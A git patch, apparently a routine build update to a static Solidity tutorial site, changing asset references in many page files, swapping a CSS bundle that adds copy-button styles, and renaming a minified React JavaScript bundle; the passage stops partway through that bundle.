From 4549d04481679124f46441cc10177ac4cde47d3a Mon Sep 17 00:00:00 2001 From: t4sk Date: Thu, 11 Jan 2024 09:17:12 +0900 Subject: [PATCH] Updates --- 404.html | 4 +- abi-decode/index.html | 4 +- abi-encode/index.html | 4 +- app/assembly-bin-exp/index.html | 4 +- app/bi-directional-payment-channel/index.html | 4 +- app/create2/index.html | 4 +- app/crowd-fund/index.html | 4 +- app/deploy-any-contract/index.html | 4 +- app/dutch-auction/index.html | 4 +- app/english-auction/index.html | 4 +- app/erc1155/index.html | 4 +- app/erc20/index.html | 4 +- app/erc721/index.html | 4 +- app/ether-wallet/index.html | 4 +- app/gasless-token-transfer/index.html | 4 +- app/iterable-mapping/index.html | 4 +- app/merkle-tree/index.html | 4 +- app/minimal-proxy/index.html | 4 +- app/multi-call/index.html | 4 +- app/multi-delegatecall/index.html | 4 +- app/multi-sig-wallet/index.html | 4 +- app/simple-bytecode-contract/index.html | 4 +- app/time-lock/index.html | 4 +- .../index.html | 4 +- app/upgradeable-proxy/index.html | 4 +- app/write-to-any-slot/index.html | 4 +- array/index.html | 4 +- assembly-error/index.html | 4 +- assembly-if/index.html | 4 +- assembly-loop/index.html | 4 +- assembly-math/index.html | 4 +- assembly-variable/index.html | 4 +- assets/index-36NoqQJb.css | 10 - assets/index-Dukeprye.css | 10 + .../{index-qqMS1l3Q.js => index-QPVDfgvT.js} | 234 +++++++++--------- bitwise/index.html | 4 +- call/index.html | 4 +- calling-contract/index.html | 4 +- constants/index.html | 4 +- constructor/index.html | 4 +- data-locations/index.html | 4 +- defi/chainlink-price-oracle/index.html | 4 +- defi/constant-product-amm/index.html | 4 +- defi/constant-sum-amm/index.html | 4 +- defi/dai-proxy/index.html | 4 +- defi/discrete-staking-rewards/index.html | 4 +- defi/stable-swap-amm/index.html | 4 +- defi/staking-rewards/index.html | 4 +- .../index.html | 4 +- defi/uniswap-v2-flash-swap/index.html | 4 +- .../index.html | 4 +- defi/uniswap-v2/index.html | 4 +- defi/uniswap-v3-flash-swap/index.html | 4 +- defi/uniswap-v3-flash/index.html | 4 +- defi/uniswap-v3-liquidity/index.html | 4 +- defi/uniswap-v3-swap/index.html | 4 +- defi/vault/index.html | 4 +- delegatecall/index.html | 4 +- enum/index.html | 4 +- error/index.html | 4 +- ether-units/index.html | 4 +- events/index.html | 4 +- fallback/index.html | 4 +- first-app/index.html | 4 +- function-modifier/index.html | 4 +- function-selector/index.html | 4 +- function/index.html | 4 +- gas-golf/index.html | 4 +- gas/index.html | 4 +- hacks/accessing-private-data/index.html | 4 +- hacks/block-timestamp-manipulation/index.html | 4 +- hacks/contract-size/index.html | 4 +- hacks/delegatecall/index.html | 4 +- hacks/denial-of-service/index.html | 4 +- .../index.html | 4 +- hacks/front-running/index.html | 4 +- .../index.html | 4 +- hacks/honeypot/index.html | 4 +- hacks/overflow/index.html | 4 +- hacks/phishing-with-tx-origin/index.html | 4 +- hacks/randomness/index.html | 4 +- hacks/re-entrancy/index.html | 4 +- hacks/self-destruct/index.html | 4 +- hacks/signature-replay/index.html | 4 +- hacks/vault-inflation/index.html | 4 +- hashing/index.html | 4 +- hello-world/index.html | 4 +- if-else/index.html | 4 +- immutable/index.html | 4 +- import/index.html | 4 +- index.html | 4 +- inheritance/index.html | 4 +- interface/index.html | 4 +- library/index.html | 4 +- loop/index.html | 4 +- mapping/index.html | 4 +- new-contract/index.html | 4 +- payable/index.html | 4 +- primitives/index.html | 4 +- sending-ether/index.html | 4 +- .../index.html | 4 +- signature/index.html | 4 +- state-variables/index.html | 4 +- structs/index.html | 4 +- super/index.html | 4 +- tests/echidna/index.html | 4 +- try-catch/index.html | 4 +- unchecked-math/index.html | 4 +- variables/index.html | 4 +- view-and-pure-functions/index.html | 4 +- visibility/index.html | 4 +- 111 files changed, 343 insertions(+), 343 deletions(-) delete mode 100644 assets/index-36NoqQJb.css create mode 100644 assets/index-Dukeprye.css rename assets/{index-qqMS1l3Q.js => index-QPVDfgvT.js} (94%) diff --git a/404.html b/404.html index 41cd1e2d8..17c472d4b 100644 --- a/404.html +++ b/404.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/abi-decode/index.html b/abi-decode/index.html index 41cd1e2d8..17c472d4b 100644 --- a/abi-decode/index.html +++ b/abi-decode/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/abi-encode/index.html b/abi-encode/index.html index 41cd1e2d8..17c472d4b 100644 --- a/abi-encode/index.html +++ b/abi-encode/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/assembly-bin-exp/index.html b/app/assembly-bin-exp/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/assembly-bin-exp/index.html +++ b/app/assembly-bin-exp/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/bi-directional-payment-channel/index.html b/app/bi-directional-payment-channel/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/bi-directional-payment-channel/index.html +++ b/app/bi-directional-payment-channel/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/create2/index.html b/app/create2/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/create2/index.html +++ b/app/create2/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/crowd-fund/index.html b/app/crowd-fund/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/crowd-fund/index.html +++ b/app/crowd-fund/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/deploy-any-contract/index.html b/app/deploy-any-contract/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/deploy-any-contract/index.html +++ b/app/deploy-any-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/dutch-auction/index.html b/app/dutch-auction/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/dutch-auction/index.html +++ b/app/dutch-auction/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/english-auction/index.html b/app/english-auction/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/english-auction/index.html +++ b/app/english-auction/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/erc1155/index.html b/app/erc1155/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/erc1155/index.html +++ b/app/erc1155/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/erc20/index.html b/app/erc20/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/erc20/index.html +++ b/app/erc20/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/erc721/index.html b/app/erc721/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/erc721/index.html +++ b/app/erc721/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/ether-wallet/index.html b/app/ether-wallet/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/ether-wallet/index.html +++ b/app/ether-wallet/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/gasless-token-transfer/index.html b/app/gasless-token-transfer/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/gasless-token-transfer/index.html +++ b/app/gasless-token-transfer/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/iterable-mapping/index.html b/app/iterable-mapping/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/iterable-mapping/index.html +++ b/app/iterable-mapping/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/merkle-tree/index.html b/app/merkle-tree/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/merkle-tree/index.html +++ b/app/merkle-tree/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/minimal-proxy/index.html b/app/minimal-proxy/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/minimal-proxy/index.html +++ b/app/minimal-proxy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/multi-call/index.html b/app/multi-call/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/multi-call/index.html +++ b/app/multi-call/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/multi-delegatecall/index.html b/app/multi-delegatecall/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/multi-delegatecall/index.html +++ b/app/multi-delegatecall/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/multi-sig-wallet/index.html b/app/multi-sig-wallet/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/multi-sig-wallet/index.html +++ b/app/multi-sig-wallet/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/simple-bytecode-contract/index.html b/app/simple-bytecode-contract/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/simple-bytecode-contract/index.html +++ b/app/simple-bytecode-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/time-lock/index.html b/app/time-lock/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/time-lock/index.html +++ b/app/time-lock/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/uni-directional-payment-channel/index.html b/app/uni-directional-payment-channel/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/uni-directional-payment-channel/index.html +++ b/app/uni-directional-payment-channel/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/upgradeable-proxy/index.html b/app/upgradeable-proxy/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/upgradeable-proxy/index.html +++ b/app/upgradeable-proxy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/write-to-any-slot/index.html b/app/write-to-any-slot/index.html index 41cd1e2d8..17c472d4b 100644 --- a/app/write-to-any-slot/index.html +++ b/app/write-to-any-slot/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/array/index.html b/array/index.html index 41cd1e2d8..17c472d4b 100644 --- a/array/index.html +++ b/array/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-error/index.html b/assembly-error/index.html index 41cd1e2d8..17c472d4b 100644 --- a/assembly-error/index.html +++ b/assembly-error/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-if/index.html b/assembly-if/index.html index 41cd1e2d8..17c472d4b 100644 --- a/assembly-if/index.html +++ b/assembly-if/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-loop/index.html b/assembly-loop/index.html index 41cd1e2d8..17c472d4b 100644 --- a/assembly-loop/index.html +++ b/assembly-loop/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-math/index.html b/assembly-math/index.html index 41cd1e2d8..17c472d4b 100644 --- a/assembly-math/index.html +++ b/assembly-math/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-variable/index.html b/assembly-variable/index.html index 41cd1e2d8..17c472d4b 100644 --- a/assembly-variable/index.html +++ b/assembly-variable/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assets/index-36NoqQJb.css b/assets/index-36NoqQJb.css deleted file mode 100644 index 357686ae0..000000000 --- a/assets/index-36NoqQJb.css +++ /dev/null @@ -1,10 +0,0 @@ -:root{--black: #252519;--side-nav-width: 240px;--min-main-width: 300px}::-webkit-scrollbar{width:12px}::-webkit-scrollbar-thumb{background-color:#ccc}body{margin:0;padding:0;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-size:16px;line-height:20px;background-color:var(--bg-color);color:var(--color)}body.light{--bg-color: white;--color: #252519;--code-bg: #f5f5f5;--link-color: #261a3b;--input-bg: #f1f1f1;--link-active-color: #00ff0054}body.dark{--bg-color: #161b22;--color: rgb(201, 209, 217);--code-bg: #0d1117;--link-color: #f6f6f6;--input-bg: white;--link-active-color: #00ff0054}pre{padding:15px;margin:0;font-size:14px;overflow-x:scroll}pre .buttons{color:var(--color);cursor:pointer;display:flex;flex-direction:row;justify-content:flex-end}pre .buttons button{color:inherit;background:transparent;border:none;cursor:inherit}pre .buttons button:hover{color:#008cff}code{font-family:source-code-pro,Menlo,Monaco,Consolas,Courier New,monospace;color:#e74c3c}.language-solidity{display:block;color:var(--color)}a,a:visited{color:var(--link-color)}h2{font-size:32px;line-height:40px}em{font-style:italic}pre{background-color:var(--code-bg)}body.light .hljs{background:#eee;color:#000}body.light .hljs-link,body.light .hljs-emphasis,body.light .hljs-attribute,body.light .hljs-addition{color:#070}body.light .hljs-emphasis{font-style:italic}body.light .hljs-strong,body.light .hljs-string,body.light .hljs-deletion{color:#d14}body.light .hljs-strong{font-weight:700}body.light .hljs-quote,body.light .hljs-comment{color:#5f5f55;font-style:italic}body.light .hljs-section,body.light .hljs-title{color:#900}body.light .hljs-class .hljs-title,body.light .hljs-title.class_,body.light .hljs-type{color:#458}body.light .hljs-variable,body.light .hljs-template-variable{color:#369}body.light .hljs-bullet{color:#970}body.light .hljs-meta{color:#34b}body.light .hljs-code,body.light .hljs-number,body.light .hljs-literal,body.light .hljs-keyword,body.light .hljs-selector-tag{color:#0758fc}body.light .hljs-regexp{background-color:#fff0ff;color:#808}body.light .hljs-symbol{color:#990073}body.light .hljs-tag,body.light .hljs-name,body.light .hljs-selector-id,body.light .hljs-selector-class{color:#070}/*! - Theme: GitHub Dark - Description: Dark theme as seen on github.com - Author: github.com - Maintainer: @Hirse - Updated: 2021-05-15 - - Outdated base version: https://github.com/primer/github-syntax-dark - Current colors taken from GitHub's CSS -*/body.dark .hljs{color:#c9d1d9;background:#0d1117}body.dark .hljs-doctag,body.dark .hljs-keyword,body.dark .hljs-meta .hljs-keyword,body.dark .hljs-template-tag,body.dark .hljs-template-variable,body.dark .hljs-type,body.dark .hljs-variable.language_{color:#ff7b72}body.dak .hljs-title,body.dak .hljs-title.class_,body.dak .hljs-title.class_.inherited__,body.dak .hljs-title.function_{color:#d2a8ff}body.dark .hljs-attr,body.dark .hljs-attribute,body.dark .hljs-literal,body.dark .hljs-meta,body.dark .hljs-number,body.dark .hljs-operator,body.dark .hljs-variable,body.dark .hljs-selector-attr,body.dark .hljs-selector-class,body.dark .hljs-selector-id{color:#79c0ff}body.dark .hljs-regexp,body.dark .hljs-string,body.dark .hljs-meta .hljs-string{color:#a5d6ff}body.dark .hljs-built_in,body.dark .hljs-symbol{color:#ffa657}body.dary .hljs-comment,body.dary .hljs-code,body.dary .hljs-formula{color:#8b949e}body.dark .hljs-name,body.dark .hljs-quote,body.dark .hljs-selector-tag,body.dark .hljs-selector-pseudo{color:#7ee787}body.dark .hljs-subst{color:#c9d1d9}body.dark .hljs-section{color:#1f6feb;font-weight:700}body.dark .hljs-bullet{color:#f2cc60}body.dark .hljs-emphasis{color:#c9d1d9;font-style:italic}body.dark .hljs-strong{color:#c9d1d9;font-weight:700}body.dark .hljs-addition{color:#aff5b4;background-color:#033a16}body.dark .hljs-deletion{color:#ffdcd7;background-color:#67060c}._component_nqcni_1{display:flex;flex-direction:row;height:100vh}._sideNav_nqcni_6{max-height:100vh;overflow-y:auto;background-color:var(--side-nav-color);transition:width .3s;transition-timing-function:ease}._main_nqcni_13{max-height:100vh;width:100%;display:flex;flex-direction:column;overflow-y:auto;overflow-x:auto}._children_nqcni_21{display:flex;flex-direction:column;align-items:center;min-width:var(--min-main-width);padding:54px 10px 20px}._list_1ltry_1{list-style:none;padding:0;margin:0}._title_1ltry_6{color:var(--link-color);padding:0;margin:0}._listItem_1ltry_11{display:flex;flex-direction:row;align-items:center;margin:10px 0;padding-left:10px}._listItemActive_1ltry_18{display:flex;flex-direction:row;align-items:center;margin:10px 0;padding-left:10px;background-color:var(--link-active-color)}._link_1ltry_26{font-size:.9rem;text-decoration:none;overflow-x:hidden;white-space:nowrap;text-overflow:ellipsis}._component_15x91_1{position:sticky;top:0;display:flex;flex-direction:row;align-items:center;justify-content:space-between;padding:10px 20px;background-color:var(--bg-color);min-width:var(--min-main-width);white-space:nowrap}._a_15x91_13{text-decoration:none}._center_15x91_16{display:flex;flex-direction:row;align-items:center}._logo_15x91_21{margin:0 5px}._header_15x91_24{margin:0 auto 0 0}._mode_15x91_28{background-color:transparent;border:0px;cursor:pointer}._hamburger_15x91_33{cursor:pointer}._component_h47vh_1{margin:15px;color:var(--color);display:flex;flex-direction:column;align-items:center}._row_h47vh_8{display:flex;flex-direction:row;align-items:center}._row_h47vh_8 ._bar_h47vh_13{margin-left:5px;margin-right:5px}._row_h47vh_8 a,._row_h47vh_8 a:visited{color:var(--link-color)}._to_h47vh_21{margin:0 5px}._social_h47vh_24{display:flex;flex-direction:row;align-items:center}._sce_h47vh_29{width:20px;margin:5px;border-radius:4px}._telegram_h47vh_34,._discord_h47vh_38,._youTube_h47vh_42{width:20px;margin:5px}._component_ni5i2_1{width:100%;max-width:1000px}._content_ni5i2_5{margin:15px 10px}._prevNext_ni5i2_8{margin:20px;display:flex;flex-direction:row;justify-content:space-between}._component_efeb7_1{display:flex;flex-direction:row;align-items:center;background-color:var(--input-bg);border-radius:4px}._icon_efeb7_8{margin:8px;color:var(--black)}._input_efeb7_12{width:100%;height:24px;max-width:300px;padding:5px;border:0;border-radius:4px;background-color:var(--input-bg)}._input_efeb7_12:focus{outline:none;box-shadow:none}._component_196j1_1{max-width:420px}._component_196j1_1 ul{list-style:none;padding:0}._updates_196j1_8{padding:5px 5px 5px 15px;border-radius:5px}._category_196j1_13{color:var(--link-color)}._search_196j1_16{margin-top:10px;margin-bottom:10px}._listItem_196j1_20{display:flex;flex-direction:row;align-items:center;margin-top:10px;margin-bottom:10px;white-space:nowrap}._label_196j1_28{margin-left:10px}._header_196j1_31 a{text-decoration:none}._youTube_196j1_34{display:flex;flex-direction:row;align-items:center;margin:10px 0}._youTubeLogo_196j1_40{width:30px;padding-right:10px} diff --git a/assets/index-Dukeprye.css b/assets/index-Dukeprye.css new file mode 100644 index 000000000..1b4efe3a5 --- /dev/null +++ b/assets/index-Dukeprye.css @@ -0,0 +1,10 @@ +:root{--black: #252519;--side-nav-width: 240px;--min-main-width: 300px}::-webkit-scrollbar{width:12px}::-webkit-scrollbar-thumb{background-color:#ccc}body{margin:0;padding:0;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-size:16px;line-height:20px;background-color:var(--bg-color);color:var(--color)}body.light{--bg-color: white;--color: #252519;--color-1: #212529;--hover-color-1: #212529;--code-bg: #f5f5f5;--link-color: #261a3b;--input-bg: #f1f1f1;--link-active-color: #00ff0054}body.dark{--bg-color: #161b22;--color: rgb(201, 209, 217);--color-1: #c9d1d9;--hover-color-1: white;--code-bg: #0d1117;--link-color: #f6f6f6;--input-bg: white;--link-active-color: #00ff0054}pre{padding:15px;margin:0;font-size:14px;overflow-x:scroll}pre .buttons{color:var(--color);cursor:pointer;display:flex;flex-direction:row;justify-content:flex-end}pre .buttons button{color:inherit;background:transparent;border:none;cursor:inherit}pre .buttons button:hover{color:#008cff}code{font-family:source-code-pro,Menlo,Monaco,Consolas,Courier New,monospace;color:#e74c3c}.language-solidity{display:block;color:var(--color)}a,a:visited{color:var(--link-color)}h2{font-size:32px;line-height:40px}em{font-style:italic}pre{background-color:var(--code-bg)}body.light .hljs{background:#eee;color:#000}body.light .hljs-link,body.light .hljs-emphasis,body.light .hljs-attribute,body.light .hljs-addition{color:#070}body.light .hljs-emphasis{font-style:italic}body.light .hljs-strong,body.light .hljs-string,body.light .hljs-deletion{color:#d14}body.light .hljs-strong{font-weight:700}body.light .hljs-quote,body.light .hljs-comment{color:#5f5f55;font-style:italic}body.light .hljs-section,body.light .hljs-title{color:#900}body.light .hljs-class .hljs-title,body.light .hljs-title.class_,body.light .hljs-type{color:#458}body.light .hljs-variable,body.light .hljs-template-variable{color:#369}body.light .hljs-bullet{color:#970}body.light .hljs-meta{color:#34b}body.light .hljs-code,body.light .hljs-number,body.light .hljs-literal,body.light .hljs-keyword,body.light .hljs-selector-tag{color:#0758fc}body.light .hljs-regexp{background-color:#fff0ff;color:#808}body.light .hljs-symbol{color:#990073}body.light .hljs-tag,body.light .hljs-name,body.light .hljs-selector-id,body.light .hljs-selector-class{color:#070}/*! + Theme: GitHub Dark + Description: Dark theme as seen on github.com + Author: github.com + Maintainer: @Hirse + Updated: 2021-05-15 + + Outdated base version: https://github.com/primer/github-syntax-dark + Current colors taken from GitHub's CSS +*/body.dark .hljs{color:#c9d1d9;background:#0d1117}body.dark .hljs-doctag,body.dark .hljs-keyword,body.dark .hljs-meta .hljs-keyword,body.dark .hljs-template-tag,body.dark .hljs-template-variable,body.dark .hljs-type,body.dark .hljs-variable.language_{color:#ff7b72}body.dak .hljs-title,body.dak .hljs-title.class_,body.dak .hljs-title.class_.inherited__,body.dak .hljs-title.function_{color:#d2a8ff}body.dark .hljs-attr,body.dark .hljs-attribute,body.dark .hljs-literal,body.dark .hljs-meta,body.dark .hljs-number,body.dark .hljs-operator,body.dark .hljs-variable,body.dark .hljs-selector-attr,body.dark .hljs-selector-class,body.dark .hljs-selector-id{color:#79c0ff}body.dark .hljs-regexp,body.dark .hljs-string,body.dark .hljs-meta .hljs-string{color:#a5d6ff}body.dark .hljs-built_in,body.dark .hljs-symbol{color:#ffa657}body.dary .hljs-comment,body.dary .hljs-code,body.dary .hljs-formula{color:#8b949e}body.dark .hljs-name,body.dark .hljs-quote,body.dark .hljs-selector-tag,body.dark .hljs-selector-pseudo{color:#7ee787}body.dark .hljs-subst{color:#c9d1d9}body.dark .hljs-section{color:#1f6feb;font-weight:700}body.dark .hljs-bullet{color:#f2cc60}body.dark .hljs-emphasis{color:#c9d1d9;font-style:italic}body.dark .hljs-strong{color:#c9d1d9;font-weight:700}body.dark .hljs-addition{color:#aff5b4;background-color:#033a16}body.dark .hljs-deletion{color:#ffdcd7;background-color:#67060c}.copy-wrapper{position:relative;height:100%}.copy{position:absolute;top:0;right:0;margin-top:4px;margin-right:12px;color:var(--color-1);background-color:transparent;border:0;border-radius:6px;cursor:pointer}.copy:hover{color:var(--hover-color-1);transition:color linear .2s}._component_nqcni_1{display:flex;flex-direction:row;height:100vh}._sideNav_nqcni_6{max-height:100vh;overflow-y:auto;background-color:var(--side-nav-color);transition:width .3s;transition-timing-function:ease}._main_nqcni_13{max-height:100vh;width:100%;display:flex;flex-direction:column;overflow-y:auto;overflow-x:auto}._children_nqcni_21{display:flex;flex-direction:column;align-items:center;min-width:var(--min-main-width);padding:54px 10px 20px}._list_1ltry_1{list-style:none;padding:0;margin:0}._title_1ltry_6{color:var(--link-color);padding:0;margin:0}._listItem_1ltry_11{display:flex;flex-direction:row;align-items:center;margin:10px 0;padding-left:10px}._listItemActive_1ltry_18{display:flex;flex-direction:row;align-items:center;margin:10px 0;padding-left:10px;background-color:var(--link-active-color)}._link_1ltry_26{font-size:.9rem;text-decoration:none;overflow-x:hidden;white-space:nowrap;text-overflow:ellipsis}._component_15x91_1{position:sticky;top:0;display:flex;flex-direction:row;align-items:center;justify-content:space-between;padding:10px 20px;background-color:var(--bg-color);min-width:var(--min-main-width);white-space:nowrap}._a_15x91_13{text-decoration:none}._center_15x91_16{display:flex;flex-direction:row;align-items:center}._logo_15x91_21{margin:0 5px}._header_15x91_24{margin:0 auto 0 0}._mode_15x91_28{background-color:transparent;border:0px;cursor:pointer}._hamburger_15x91_33{cursor:pointer}._component_h47vh_1{margin:15px;color:var(--color);display:flex;flex-direction:column;align-items:center}._row_h47vh_8{display:flex;flex-direction:row;align-items:center}._row_h47vh_8 ._bar_h47vh_13{margin-left:5px;margin-right:5px}._row_h47vh_8 a,._row_h47vh_8 a:visited{color:var(--link-color)}._to_h47vh_21{margin:0 5px}._social_h47vh_24{display:flex;flex-direction:row;align-items:center}._sce_h47vh_29{width:20px;margin:5px;border-radius:4px}._telegram_h47vh_34,._discord_h47vh_38,._youTube_h47vh_42{width:20px;margin:5px}._component_ni5i2_1{width:100%;max-width:1000px}._content_ni5i2_5{margin:15px 10px}._prevNext_ni5i2_8{margin:20px;display:flex;flex-direction:row;justify-content:space-between}._component_efeb7_1{display:flex;flex-direction:row;align-items:center;background-color:var(--input-bg);border-radius:4px}._icon_efeb7_8{margin:8px;color:var(--black)}._input_efeb7_12{width:100%;height:24px;max-width:300px;padding:5px;border:0;border-radius:4px;background-color:var(--input-bg)}._input_efeb7_12:focus{outline:none;box-shadow:none}._component_196j1_1{max-width:420px}._component_196j1_1 ul{list-style:none;padding:0}._updates_196j1_8{padding:5px 5px 5px 15px;border-radius:5px}._category_196j1_13{color:var(--link-color)}._search_196j1_16{margin-top:10px;margin-bottom:10px}._listItem_196j1_20{display:flex;flex-direction:row;align-items:center;margin-top:10px;margin-bottom:10px;white-space:nowrap}._label_196j1_28{margin-left:10px}._header_196j1_31 a{text-decoration:none}._youTube_196j1_34{display:flex;flex-direction:row;align-items:center;margin:10px 0}._youTubeLogo_196j1_40{width:30px;padding-right:10px} diff --git a/assets/index-qqMS1l3Q.js b/assets/index-QPVDfgvT.js similarity index 94% rename from assets/index-qqMS1l3Q.js rename to assets/index-QPVDfgvT.js index 4269ca489..7f041368f 100644 --- a/assets/index-qqMS1l3Q.js +++ b/assets/index-QPVDfgvT.js @@ -1,4 +1,4 @@ -function yh(s,a){for(var n=0;nl[p]})}}}return Object.freeze(Object.defineProperty(s,Symbol.toStringTag,{value:"Module"}))}(function(){const a=document.createElement("link").relList;if(a&&a.supports&&a.supports("modulepreload"))return;for(const p of document.querySelectorAll('link[rel="modulepreload"]'))l(p);new MutationObserver(p=>{for(const e of p)if(e.type==="childList")for(const c of e.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&l(c)}).observe(document,{childList:!0,subtree:!0});function n(p){const e={};return p.integrity&&(e.integrity=p.integrity),p.referrerPolicy&&(e.referrerPolicy=p.referrerPolicy),p.crossOrigin==="use-credentials"?e.credentials="include":p.crossOrigin==="anonymous"?e.credentials="omit":e.credentials="same-origin",e}function l(p){if(p.ep)return;p.ep=!0;const e=n(p);fetch(p.href,e)}})();var dl=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function Ko(s){return s&&s.__esModule&&Object.prototype.hasOwnProperty.call(s,"default")?s.default:s}var So={exports:{}},jp={},xo={exports:{}},X={};/** +function mh(s,a){for(var n=0;nl[p]})}}}return Object.freeze(Object.defineProperty(s,Symbol.toStringTag,{value:"Module"}))}(function(){const a=document.createElement("link").relList;if(a&&a.supports&&a.supports("modulepreload"))return;for(const p of document.querySelectorAll('link[rel="modulepreload"]'))l(p);new MutationObserver(p=>{for(const e of p)if(e.type==="childList")for(const c of e.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&l(c)}).observe(document,{childList:!0,subtree:!0});function n(p){const e={};return p.integrity&&(e.integrity=p.integrity),p.referrerPolicy&&(e.referrerPolicy=p.referrerPolicy),p.crossOrigin==="use-credentials"?e.credentials="include":p.crossOrigin==="anonymous"?e.credentials="omit":e.credentials="same-origin",e}function l(p){if(p.ep)return;p.ep=!0;const e=n(p);fetch(p.href,e)}})();var dl=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function So(s){return s&&s.__esModule&&Object.prototype.hasOwnProperty.call(s,"default")?s.default:s}var xo={exports:{}},jp={},Mo={exports:{}},X={};/** * @license React * react.production.min.js * @@ -6,7 +6,7 @@ function yh(s,a){for(var n=0;n>>1,$=V[_];if(0>>1;_p(Sp,R))ka<$&&0>p(gl,Sp)?(V[_]=gl,V[ka]=R,_=ka):(V[_]=Sp,V[wa]=R,_=wa);else if(ka<$&&0>p(gl,R))V[_]=gl,V[ka]=R,_=ka;else break s}}return Y}function p(V,Y){var R=V.sortIndex-Y.sortIndex;return R!==0?R:V.id-Y.id}if(typeof performance=="object"&&typeof performance.now=="function"){var e=performance;s.unstable_now=function(){return e.now()}}else{var c=Date,t=c.now();s.unstable_now=function(){return c.now()-t}}var o=[],r=[],d=1,I=null,j=3,y=!1,A=!1,b=!1,B=typeof setTimeout=="function"?setTimeout:null,g=typeof clearTimeout=="function"?clearTimeout:null,h=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function C(V){for(var Y=n(r);Y!==null;){if(Y.callback===null)l(r);else if(Y.startTime<=V)l(r),Y.sortIndex=Y.expirationTime,a(o,Y);else break;Y=n(r)}}function m(V){if(b=!1,C(V),!A)if(n(o)!==null)A=!0,Np(Z);else{var Y=n(r);Y!==null&&Kp(m,Y.startTime-V)}}function Z(V,Y){A=!1,b&&(b=!1,g(v),v=-1),y=!0;var R=j;try{for(C(Y),I=n(o);I!==null&&(!(I.expirationTime>Y)||V&&!Ys());){var _=I.callback;if(typeof _=="function"){I.callback=null,j=I.priorityLevel;var 